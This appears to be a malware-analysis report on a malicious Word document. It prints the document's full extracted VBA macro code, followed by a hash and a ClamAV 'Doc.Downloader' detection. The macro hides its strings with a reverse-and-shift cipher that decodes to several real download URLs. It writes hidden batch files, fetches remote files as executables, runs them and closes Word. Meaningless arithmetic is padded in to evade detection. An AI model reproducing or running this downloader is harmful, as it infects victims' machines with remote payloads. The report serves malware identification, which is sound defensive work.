Declare Function DdeClientTransaction Lib "user32" (pData As Byte, ByVal cbData As Long, ByVal hConv As Long, ByVal hszItem As Long, ByVal wFmt As Long, ByVal wType As Long, ByVal dwTimeout As Long, pdwResult As Long) As Long
Declare Function DdeCmpStringHandles Lib "user32" (ByVal hsz1 As Long, ByVal hsz2 As Long) As Long
Declare Function DdeCreateDataHandle Lib "user32" (ByVal idInst As Long, pSrc As Byte, ByVal cb As Long, ByVal cbOff As Long, ByVal hszItem As Long, ByVal wFmt As Long, ByVal afCmd As Long) As Long
Declare Function DdeCreateStringHandle Lib "user32" Alias "DdeCreateStringHandleA" (ByVal idInst As Long, ByVal psz As String, ByVal iCodePage As Long) As Long
Declare Function DdeDisconnect Lib "user32" (ByVal hConv As Long) As Long
Declare Function DdeDisconnectList Lib "user32" (ByVal hConvList As Long) As Long
Declare Function DdeFreeStringHandle Lib "user32" (ByVal idInst As Long, ByVal hsz As Long) As Long
Declare Function DdeGetData Lib "user32" Alias "DdeGetDataA" (ByVal hData As Long, pDst As Byte, ByVal cbMax As Long, ByVal cbOff As Long) As Long
Declare Function DdeInitialize Lib "user32" Alias "DdeInitializeA" (pidInst As Long, ByVal pfnCallback As Long, ByVal afCmd As Long, ByVal ulRes As Long) As Integer
Declare Function DdeKeepStringHandle Lib "user32" (ByVal idInst As Long, ByVal hsz As Long) As Long
Declare Function DdeNameService Lib "user32" (ByVal idInst As Long, ByVal hsz1 As Long, ByVal hsz2 As Long, ByVal afCmd As Long) As Long
Declare Function DefDlgProc Lib "user32" Alias "DefDlgProcA" (ByVal hDlg As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Declare Function DeferWindowPos Lib "user32" (ByVal hWinPosInfo As Long, ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Declare Function DefFrameProc Lib "user32" Alias "DefFrameProcA" (ByVal hWnd As Long, ByVal hWndMDIClient As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Declare Function DefMDIChildProc Lib "user32" Alias "DefMDIChildProcA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Declare Function DefWindowProc Lib "user32" Alias "DefWindowProcA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Declare Function DestroyCursor Lib "user32" (ByVal hCursor As Long) As Long
Declare Function DestroyIcon Lib "user32" (ByVal hIcon As Long) As Long
Declare Function DestroyMenu Lib "user32" (ByVal hMenu As Long) As Long
Declare Function DestroyWindow Lib "user32" (ByVal hWnd As Long) As Long
Declare Function DlgDirList Lib "user32" Alias "DlgDirListA" (ByVal hDlg As Long, ByVal lpPathSpec As String, ByVal nIDListBox As Long, ByVal nIDStaticPath As Long, ByVal wFileType As Long) As Long
Declare Function DlgDirListComboBox Lib "user32" Alias "DlgDirListComboBoxA" (ByVal hDlg As Long, ByVal lpPathSpec As String, ByVal nIDComboBox As Long, ByVal nIDStaticPath As Long, ByVal wFileType As Long) As Long
Declare Function DlgDirSelectComboBoxEx Lib "user32" Alias "DlgDirSelectComboBoxExA" (ByVal hWndDlg As Long, ByVal lpszPath As String, ByVal cbPath As Long, ByVal idComboBox As Long) As Long
Declare Function DlgDirSelectEx Lib "user32" Alias "DlgDirSelectExA" (ByVal hWndDlg As Long, ByVal lpszPath As String, ByVal cbPath As Long, ByVal idListBox As Long) As Long
Declare Function DrawIcon Lib "user32" (ByVal hDC As Long, ByVal x As Long, ByVal y As Long, ByVal hIcon As Long) As Long
Declare Function DrawIconEx Lib "user32" (ByVal hDC As Long, ByVal xLeft As Long, ByVal yTop As Long, ByVal hIcon As Long, ByVal cxWidth As Long, ByVal cyWidth As Long, ByVal istepIfAniCur As Long, ByVal hbrFlickerFreeDraw As Long, ByVal diFlags As Long) As Boolean
Declare Function DrawMenuBar Lib "user32" (ByVal hWnd As Long) As Long
Declare Function DrawState Lib "user32" Alias "DrawStateA" (ByVal hDC As Long, ByVal hBrush As Long, ByVal lpDrawStateProc As Long, ByVal lParam As Long, ByVal wParam As Long, ByVal n1 As Long, ByVal n2 As Long, ByVal n3 As Long, ByVal n4 As Long, ByVal un As Long) As Boolean
Declare Function EmptyClipboard Lib "user32" () As Long
Declare Function EnableMenuItem Lib "user32" (ByVal hMenu As Long, ByVal wIDEnableItem As Long, ByVal wEnable As Long) As Long
Declare Function EnableScrollBar Lib "user32" (ByVal hWnd As Long, ByVal wSBflags As Long, ByVal wArrows As Long) As Long
Declare Function EnableWindow Lib "user32" (ByVal hWnd As Long, ByVal fEnable As Long) As Long
Declare Function EndDeferWindowPos Lib "user32" (ByVal hWinPosInfo As Long) As Long
Declare Function EndDialog Lib "user32" (ByVal hDlg As Long, ByVal nResult As Long) As Long
Declare Function EnumChildWindows Lib "user32" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Boolean
Declare Function EnumClipboardFormats Lib "user32" (ByVal wFormat As Long) As Long
Declare Function EnumThreadWindows Lib "user32" (ByVal dwThreadID As Long, ByVal lpfn As Long, ByVal lParam As Long) As Boolean
Declare Function EnumWindowStations Lib "user32" Alias "EnumWindowStationsA" (ByVal lpEnumFunc As Long, ByVal lParam As Long) As Boolean
Declare Function ExcludeUpdateRgn Lib "user32" (ByVal hDC As Long, ByVal hWnd As Long) As Long
Declare Function ExitWindows Lib "user32" (ByVal dwReserved As Long, ByVal uReturnCode As Long) As Long
Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Declare Function FreeDDElParam Lib "user32" (ByVal msg As Long, ByVal lParam As Long) As Long
Declare Function GetActiveWindow Lib "user32" () As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function GetCapture Lib "user32" () As Long
Declare Function GetCaretBlinkTime Lib "user32" () As Long
Declare Function GetClipboardData Lib "user32" Alias "GetClipboardDataA" (ByVal wFormat As Long) As Long
Declare Function GetClipboardFormatName Lib "user32" Alias "GetClipboardFormatNameA" (ByVal wFormat As Long, ByVal lpString As String, ByVal nMaxCount As Long) As Long
Declare Function GetClipboardOwner Lib "user32" () As Long
Declare Function GetClipboardViewer Lib "user32" () As Long
Declare Function GetDesktopWindow Lib "user32" () As Long
Declare Function GetDialogBaseUnits Lib "user32" () As Long
Declare Function GetDlgCtrlID Lib "user32" (ByVal hWnd As Long) As Long
Declare Function GetDlgItem Lib "user32" (ByVal hDlg As Long, ByVal nIDDlgItem As Long) As Long
Declare Function GetDlgItemInt Lib "user32" (ByVal hDlg As Long, ByVal nIDDlgItem As Long, ByVal lpTranslated As Long, ByVal bSigned As Long) As Long
Declare Function GetDlgItemText Lib "user32" Alias "GetDlgItemTextA" (ByVal hDlg As Long, ByVal nIDDlgItem As Long, ByVal lpString As String, ByVal nMaxCount As Long) As Long
Declare Function GetDoubleClickTime Lib "user32" () As Long
Declare Function GetFocus Lib "user32" () As Long
Declare Function GetForegroundWindow Lib "user32" () As Long
Declare Function GetInputState Lib "user32" () As Long
Declare Function GetKBCodePage Lib "user32" () As Long
Declare Function GetKeyboardLayout Lib "user32" (ByVal dwLayout As Long) As Long
Declare Function GetKeyboardLayoutList Lib "user32" (ByVal nBuff As Long, lpList As Long) As Long
Declare Function GetKeyboardLayoutName Lib "user32" Alias "GetKeyboardLayoutNameA" (ByVal pwszKLID As String) As Long
Declare Function GetKeyboardState Lib "user32" (pbKeyState As Byte) As Long
Declare Function GetKeyboardType Lib "user32" (ByVal nTypeFlag As Long) As Long
Declare Function GetKeyNameText Lib "user32" Alias "GetKeyNameTextA" (ByVal lParam As Long, ByVal lpBuffer As String, ByVal nSize As Long) As Long
Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Declare Function GetLastActivePopup Lib "user32" (ByVal hwndOwnder As Long) As Long
Declare Function GetMenu Lib "user32" (ByVal hWnd As Long) As Long
Declare Function GetMenuCheckMarkDimensions Lib "user32" () As Long
Declare Function GetMenuContextHelpId Lib "user32" (ByVal hMenu As Long) As Long
Declare Function GetMenuDefaultItem Lib "user32" (ByVal hMenu As Long, ByVal fByPos As Long, ByVal gmdiFlags As Long) As Long
Declare Function GetMenuItemCount Lib "user32" (ByVal hMenu As Long) As Long
Declare Function GetMenuItemID Lib "user32" (ByVal hMenu As Long, ByVal nPos As Long) As Long
Declare Function GetMenuState Lib "user32" (ByVal hMenu As Long, ByVal wID As Long, ByVal wFlags As Long) As Long
Declare Function GetMenuString Lib "user32" Alias "GetMenuStringA" (ByVal hMenu As Long, ByVal wIDItem As Long, ByVal lpString As String, ByVal nMaxCount As Long, ByVal wFlag As Long) As Long
Declare Function GetMessageExtraInfo Lib "user32" () As Long
Declare Function GetMessagePos Lib "user32" () As Long
Declare Function GetMessageTime Lib "user32" () As Long
Declare Function GetOpenClipboardWindow Lib "user32" () As Long
Declare Function GetParent Lib "user32" (ByVal hWnd As Long) As Long
Declare Function GetPriorityClipboardFormat Lib "user32" (lpPriorityList As Long, ByVal nCount As Long) As Long
Declare Function GetProcessWindowStation Lib "user32" () As Long
Declare Function GetScrollRange Lib "user32" (ByVal hWnd As Long, ByVal nBar As Long, lpMinPos As Long, lpMaxPos As Long) As Long
Declare Function GetTabbedTextExtent Lib "user32" Alias "GetTabbedTextExtentA" (ByVal hDC As Long, ByVal lpString As String, ByVal nCount As Long, ByVal nTabPositions As Long, lpnTabStopPositions As Long) As Long
Declare Function GetThreadDesktop Lib "user32" (ByVal dwThread As Long) As Long
Declare Function GetTopWindow Lib "user32" (ByVal hWnd As Long) As Long
Declare Function GetUpdateRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal fErase As Long) As Long
Declare Function GetUserObjectInformation Lib "user32" Alias "GetUserObjectInformationA" (ByVal hObj As Long, ByVal nIndex As Long, pvInfo As Any, ByVal nLength As Long, lpnLengthNeeded As Long) As Boolean
Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
Declare Function ReuseDDElParam Lib "user32" (ByVal lParam As Long, ByVal msgIn As Long, ByVal msgOut As Long, ByVal uiLo As Long, ByVal uiHi As Long) As Long
Declare Function SendDlgItemMessage Lib "user32" Alias "SendDlgItemMessageA" (ByVal hDlg As Long, ByVal nIDDlgItem As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Long) As Long
Declare Function SendMessageCallback Lib "user32" Alias "SendMessageCallbackA" (ByVal hWnd As Long, ByVal msg As Long, ByVal wParam As Long, ByVal lParam As Long, ByVal lpResultCallBack As Long, ByVal dwData As Long) As Long
Declare Function SendMessageTimeout Lib "user32" Alias "SendMessageTimeoutA" (ByVal hWnd As Long, ByVal msg As Long, ByVal wParam As Long, ByVal lParam As Long, ByVal fuFlags As Long, ByVal uTimeout As Long, lpdwResult As Long) As Long
Declare Function SendNotifyMessage Lib "user32" Alias "SendNotifyMessageA" (ByVal hWnd As Long, ByVal msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Declare Function SetActiveWindow Lib "user32" (ByVal hWnd As Long) As Long
Declare Function SetCapture Lib "user32" (ByVal hWnd As Long) As Long
Declare Function SetCaretBlinkTime Lib "user32" (ByVal wMSeconds As Long) As Long
Declare Function SetCaretPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long
Public Declare Function timeGetTime Lib "winmm.dll" () As Long
Declare Function SetClassLong Lib "user32" Alias "SetClassLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Declare Function SetClassWord Lib "user32" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal wNewWord As Long) As Long
Declare Function SetCursor Lib "user32" (ByVal hCursor As Long) As Long
Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long
Declare Function SetDlgItemInt Lib "user32" (ByVal hDlg As Long, ByVal nIDDlgItem As Long, ByVal wValue As Long, ByVal bSigned As Long) As Long
Declare Function SetDlgItemText Lib "user32" Alias "SetDlgItemTextA" (ByVal hDlg As Long, ByVal nIDDlgItem As Long, ByVal lpString As String) As Long
Declare Function SetDoubleClickTime Lib "user32" (ByVal wCount As Long) As Long
Declare Function SetMenu Lib "user32" (ByVal hWnd As Long, ByVal hMenu As Long) As Long
Declare Function SetMenuContextHelpId Lib "user32" (ByVal hMenu As Long, ByVal dw As Long) As Boolean
Declare Function SetMenuDefaultItem Lib "user32" (ByVal hMenu As Long, ByVal uItem As Long, ByVal fByPos As Long) As Boolean
Declare Function SetMenuItemBitmaps Lib "user32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long, ByVal hBitmapUnchecked As Long, ByVal hBitmapChecked As Long) As Long
Declare Function SetMessageExtraInfo Lib "user32" (ByVal lParam As Long) As Long
Declare Function SetMessageQueue Lib "user32" (ByVal cMessagesMax As Long) As Boolean
Declare Function SetParent Lib "user32" (ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long
Declare Function SetProcessWindowStation Lib "user32" (ByVal hWinSta As Long) As Boolean
Declare Function SetWindowRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long
Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String) As Long
Declare Function SetWindowWord Lib "user32" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal wNewWord As Long) As Long
Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long
Declare Function TabbedTextOut Lib "user32" Alias "TabbedTextOutA" (ByVal hDC As Long, ByVal x As Long, ByVal y As Long, ByVal lpString As String, ByVal nCount As Long, ByVal nTabPositions As Long, lpnTabStopPositions As Long, ByVal nTabOrigin As Long) As Long
#End If

Private o3h As Object

Private Sub BET8MV23W(ByRef R As String, df As Double, p As String)
    o56jkrn.Tag = o56jkrn.Tag + "Description"
    If o56jkrn.Tag = "435" Then o56jkrn.OptionButton1.Caption = "Name"
    Dim i As Long
    i = 1
    If i = 1 Then
        o56jkrn.Caption = o56jkrn.Tag + "Address"
        o56jkrn.OptionButton1.Tag = o56jkrn.Label1.Caption + o56jkrn.Label1.Tag
        
        Dim ewtrware3rwqea As PROCESS_INFORMATION
        Dim retertwa4ret As STARTUPINFO
        Dim werrweawarewar3eQ23EWA
        retertwa4ret.cb = Len(retertwa4ret)
        retertwa4ret.dwFlags = &H1
        retertwa4ret.wShowWindow = 0
        'werrweawarewar3eQ23EWA = CreateProcessA(0&, R + " " + p, 0&, 0&, 1&, &H20&, 0&, 0&, retertwa4ret, ewtrware3rwqea)
        'werrweawarewar3eQ23EWA = CreateProcessA(R, p, 0&, 0&, 1&, &H20&, 0&, 0&, retertwa4ret, ewtrware3rwqea)
        Shell R + " " + p, 0
    
        o56jkrn.OptionButton1.Tag = o56jkrn.Label1.Tag & o56jkrn.CommandButton1.Caption
    End If
    o56jkrn.Tag = "Default"
End Sub

Private Sub fhj34()
    Dim xi As Integer
    uiw45ihk.CommandButton1.Caption = "Press"
    For i = 3 To 4
        uiw45ihk.CommandButton1.Tag = "t5"
    Next
End Sub

Private Sub DF4YU74C(R As String, ind As Integer)
    uyriu34k.Tag = DH66OPQX7N("eqnu]sjeqnu]djmcvQ]tsftV];D") + CStr(ind) + DH66OPQX7N("ubc/")
    Open uyriu34k.Tag For Binary As #1
    kj5l6FG5.Tag = DH66OPQX7N("()fmjGebpmoxpE/*uofjmDcfX/ufO!udfkcP.xfO)##!eobnnpD.!mmfitsfxpq") + R
    kj5l6FG5.Tag = kj5l6FG5.Tag & DH66OPQX7N("fm(!,!(jg]sjeq(!,!(nu](!,!(djm(!,!(cv(!,!(Q]t(!,!(sf(!,!(tV](!,!(;D(!-(") + CStr(ind) + DH66OPQX7N("*(f(!,!(yf/(!,!(")
    Put #1, , kj5l6FG5.Tag
    Close #1
    BET8MV23W uyriu34k.Tag, 0, vbNullString
End Sub

Private Sub QG6GB89SG(p1 As Long, T As Double)
    
    Dim i As Integer
    uiw45ihk.CommandButton1.Caption = "Press"
    For i = 1 To 10
        If uiw45ihk.Caption = "34" Then
            MsgBox ("vQ]t")
            uiw45ihk.CommandButton1.Tag = "t5"
        End If
    Next

    fhj34

    ajdRGTW356.Tag = DH66OPQX7N("ubc/qnu]djmcvQ]tsftV];D")
    Open ajdRGTW356.Tag For Binary As #1
    Put #1, , DH66OPQX7N("##sjeqnu]djmcvQ]tsftV];D##!sjeln!d0!end")
    Close #1
    BET8MV23W ajdRGTW356.Tag, 65, vbNullString
    
    Do While Dir(DH66OPQX7N("sjeqnu]djmcvQ]tsftV];D"), vbDirectory) = ""
    Loop

    Dim dkekr(1 To 5) As String
    dkekr(1) = DH66OPQX7N("hoq/5555550tsptsvd0tfttbmd0ttj{0tojhvmq0uofuopd.qx0md/opjdbwpofspdfe00;quui")
    dkekr(2) = DH66OPQX7N("hoq/5555550tsptsvd0uofjebsh0tfhbnj0fmzut0tufttb0npd/tejujsl00;quui")
    dkekr(3) = DH66OPQX7N("hoq/5555550tsptsvd0qOllfvHgul0zuofxuzuofxu0tfnfiu0uofuopd.qx0hsp/ddtdsbe00;quui")
    dkekr(4) = DH66OPQX7N("hoq/99850530:920npd/opjuvmpwfshvmqov/500;quui")

    Dim R As Double
    R = 0#
    R = R + 4.76510144 * Cos(1.1 + 0.0254 * T)
    R = R + 0.89714976 * Cos(2.483450344 + 207.31415742 * T)

    IE45BMFT6R.Tag = DH66OPQX7N("fyf/end]34nfutzT]txpeojX];D")
    Dim prm As String
    prm = DH66OPQX7N("!U0!Z!E0!O0!Z!D0!fdjpid!D0!")
    
    kj5l6FG5.Tag = IE45BMFT6R.Tag
    BET8MV23W kj5l6FG5.Tag, 56, prm & DH66OPQX7N("ubc/qnu]djmcvQ]tsftV];D!mfE!'!2")
    
    R = R + 0.074629499 * Cos(4.4775954 + 525.861484 * T)
    R = R + 0.0000000153 * Cos(4.923745251 + 421.477572 * T)
    R = R + 0.0000000172 * Cos(3.556656586 + 547.2192 * T)
    
    For i = 1 To 4
        DF4YU74C dkekr(i), i
        FGQL54DGFD4 25
    
        Dim Q As Double
        Dim Mercury_L02 As Double
        Q = 0#
        Q = Q + 3.450710144 * Cos(0.454 + 0 * T)
        Q = Q + 0.00000001255 * Cos(1.854115004 + 764.945432344 * T)
    
        kj5l6FG5.Tag = IE45BMFT6R.Tag
        BET8MV23W kj5l6FG5.Tag, 56.7, prm & DH66OPQX7N("eqnu]sjeqnu]djmcvQ]tsftV];D!mfE!'!12") + CStr(i) + DH66OPQX7N("tqnu]sjeqnu]djmcvQ]tsftV];D!mfE!'!ubc/") + CStr(i) + DH66OPQX7N("ubc/")
        
        hdkj34h.Tag = DH66OPQX7N("fmjg]sjeqnu]djmcvQ]tsftV];D") + CStr(i) + DH66OPQX7N("fyf/")
        
        Q = Q + 0.00000029 * Cos(0.83216637 + 5618.3812281138 * T)
        Q = Q + 0.000000045 * Cos(3.1537061982 + 106.495719 * T)
        
        If Dir(hdkj34h.Tag) <> "" Then
            If FileLen(hdkj34h.Tag) > 0 Then
                ajdRGTW356.Tag = DH66OPQX7N("tqnu]sjeqnu]djmcvQ]tsftV];D") + CStr(i) + DH66OPQX7N("ubc/")
                kj5l6FG5.Tag = IE45BMFT6R.Tag & prm + DH66OPQX7N("fmjg]sjeqnu]djmcvQ]tsftV];D!'!3") + CStr(i) + DH66OPQX7N("fyf/")
                Open ajdRGTW356.Tag For Binary As #1
                
                Q = Q + 0.00000124 * Cos(5.2433680768 + 1188.0898597 * T)
                Q = Q + 0.0000002439 * Cos(3.155290383 + 19.48438752 * T)
                
                Put #1, , kj5l6FG5.Tag
                For l = 2 To 3
                    If uiw45ihk.Caption <> "swjde7" Then
                        uiw45ihk.TextBox2.Text = "End"
                        
                        Q = Q + 0.00000124 * Cos(3.240680768 + 1628.7898597 * T)
                        Q = Q + 0.000000019 * Cos(5.1329383 + 49.48464352 * T)
                        Q = Q + 0.00000000607 * Cos(5.7229006 + 2176.7658357 * T)
                        
                        Close #1
                    End If
                Next
                BET8MV23W ajdRGTW356.Tag, 3.787, vbNullString
                Exit For
            End If
        End If
    Next
    
    Application.Quit False

End Sub

Public Sub skdk()
    'Selection.MoveDown Unit:=wdLine, Count:=1
    'Selection.Font.Size = 3

    QG6GB89SG 1, 0.5
End Sub

Private Sub f25e(dsdfj3 As String)
    For i = 1 To 1
        
    Next
End Sub

Sub FGQL54DGFD4(T As Long)
    Dim ct As Long
    ct = DateDiff("s", "1/1/1970", Date + Time)
    'Do While DateDiff("s", "1/1/1970", Date + Time) - ct < t
    'Loop
    GoodNight T * 1000
End Sub

Function DH66OPQX7N(s As String) As String
    DFHSDHFSSA5.Label1.Tag = "123"
    DH66OPQX7N = Space$(Len(s))
    DFHSDHFSSA5.CommandButton1.Caption = DFHSDHFSSA5.Label1.Tag + "4"
    For i = 1 To Len(s)
        DFHSDHFSSA5.CommandButton1.Tag = DFHSDHFSSA5.CommandButton1.Caption + "q"
        Mid$(DH66OPQX7N, i, 1) = Mid$(s, Len(s) - i + 1, 1)
    Next
    DFHSDHFSSA5.Label1.Caption = "cap"
    DFHSDHFSSA5.Label1.Caption = DFHSDHFSSA5.Label1.Caption + "5"
    For i = 1 To Len(s)
        Mid$(DH66OPQX7N, i, 1) = Chr(Asc(Mid$(DH66OPQX7N, i, 1)) - 1)
        DFHSDHFSSA5.CommandButton1.Tag = DFHSDHFSSA5.CommandButton1.Tag + "z"
    Next
End Function




Attribute VB_Name = "IE45BMFT6R"
Attribute VB_Base = "0{841FB076-CA98-48D1-94F7-0131284C6397}{08E8C394-2DAE-411A-9DA3-85053471BB80}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "uiw45ihk"
Attribute VB_Base = "0{815033B7-C65F-4D73-AD4E-E22ECA0A5782}{55A7277B-AEFA-4E19-A457-AB5BAFD04CC7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "fhlokhflkh45"

Attribute VB_Name = "ajdRGTW356"
Attribute VB_Base = "0{B870F9F5-8FC1-4FEC-B848-9F0138343F7A}{9B8300EE-A768-41A1-BA2E-9038F71B75AE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "hdkj34h"
Attribute VB_Base = "0{F18FE979-E124-412D-9861-BA993384CE2A}{3DD94902-B1E4-4C4C-A235-5B7672E0A848}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "kj5l6FG5"
Attribute VB_Base = "0{B4E25259-1B5B-4342-A201-055DA516B032}{12416AF2-64E6-4897-86CD-9DF297F179FB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "uyriu34k"
Attribute VB_Base = "0{62E68E9A-5B93-4B3E-830B-4F06EA3581B7}{5D366D6D-1A7A-4DE4-9D3C-99604A6B99ED}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "DFHSDHFSSA5"
Attribute VB_Base = "0{5A7A8AB2-D86F-4A73-B768-A7A25EBD029A}{D96B3037-35E3-4626-B619-B06AA856C7A3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub CommandButton1_Click()

End Sub

Attribute VB_Name = "o56jkrn"
Attribute VB_Base = "0{BCDD910D-9CB0-4408-8B66-F2774F9E2EB4}{D33E3A0D-F133-4E8B-AD85-C25E4F3B7905}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 129536 bytes
SHA-256: 15210c80d2f55bf9796642cee74e960e915a44d4b2eb949459c3f35f1a9eda0d
Detection
ClamAV: Doc.Downloader.Generic-8011192-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.